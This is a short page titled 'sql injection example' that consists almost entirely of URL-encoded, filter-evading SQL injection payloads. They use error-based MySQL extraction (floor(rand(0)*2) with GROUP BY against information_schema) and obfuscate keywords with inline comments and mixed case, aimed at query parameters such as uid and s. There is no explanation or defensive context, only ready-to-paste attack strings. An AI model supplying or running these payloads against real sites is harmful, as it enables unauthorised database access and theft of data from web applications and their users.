sql injection example

&uid=1111%27+and+(%2f**%2f%2f**%2fsElEcT+1+%2f**%2f%2f**%2ffRoM(%2f**%2f%2f**%2fsElEcT+count(*)%2c%2f**%2f%2f**%2fcOnCaT((%2f**%2f%2f**%2fsElEcT+(%2f**%2f%2f**%2fsElEcT+%2f**%2f%2f**%2fuNhEx(%2f**%2f%2f**%2fhEx(%2f**%2f%2f**%2fcOnCaT(0x7e%2c0x413936313543373834333044%2c0x7e))))+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+%2f**%2f%2f**%2flImIt+0%2c1)%2cfloor(rand(0)*2))x+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+group+by+x)a)+and+%271%27%3d%271&page=1&section= 

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s=11%27+and+(%2f**%2f%2f**%2fsElEcT+1+%2f**%2f%2f**%2ffRoM(%2f**%2f%2f**%2fsElEcT+count(*)%2c%2f**%2f%2f**%2fcOnCaT((%2f**%2f%2f**%2fsElEcT+(%2f**%2f%2f**%2fsElEcT+%2f**%2f%2f**%2fuNhEx(%2f**%2f%2f**%2fhEx(%2f**%2f%2f**%2fcOnCaT(0x7e%2c0x413936313543373834333044%2c0x7e))))+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+%2f**%2f%2f**%2flImIt+0%2c1)%2cfloor(rand(0)*2))x+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+group+by+x)a)+and+%271%27%3d%271&mode=view&uid=1111&page=1&section= 

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s=11%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%22&mode=view&uid=(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fuNhEx(%2f**%2fhEx(%2f**%2fcOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)

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s=(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fuNhEx(%2f**%2fhEx(%2f**%2fcOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)&mode=view

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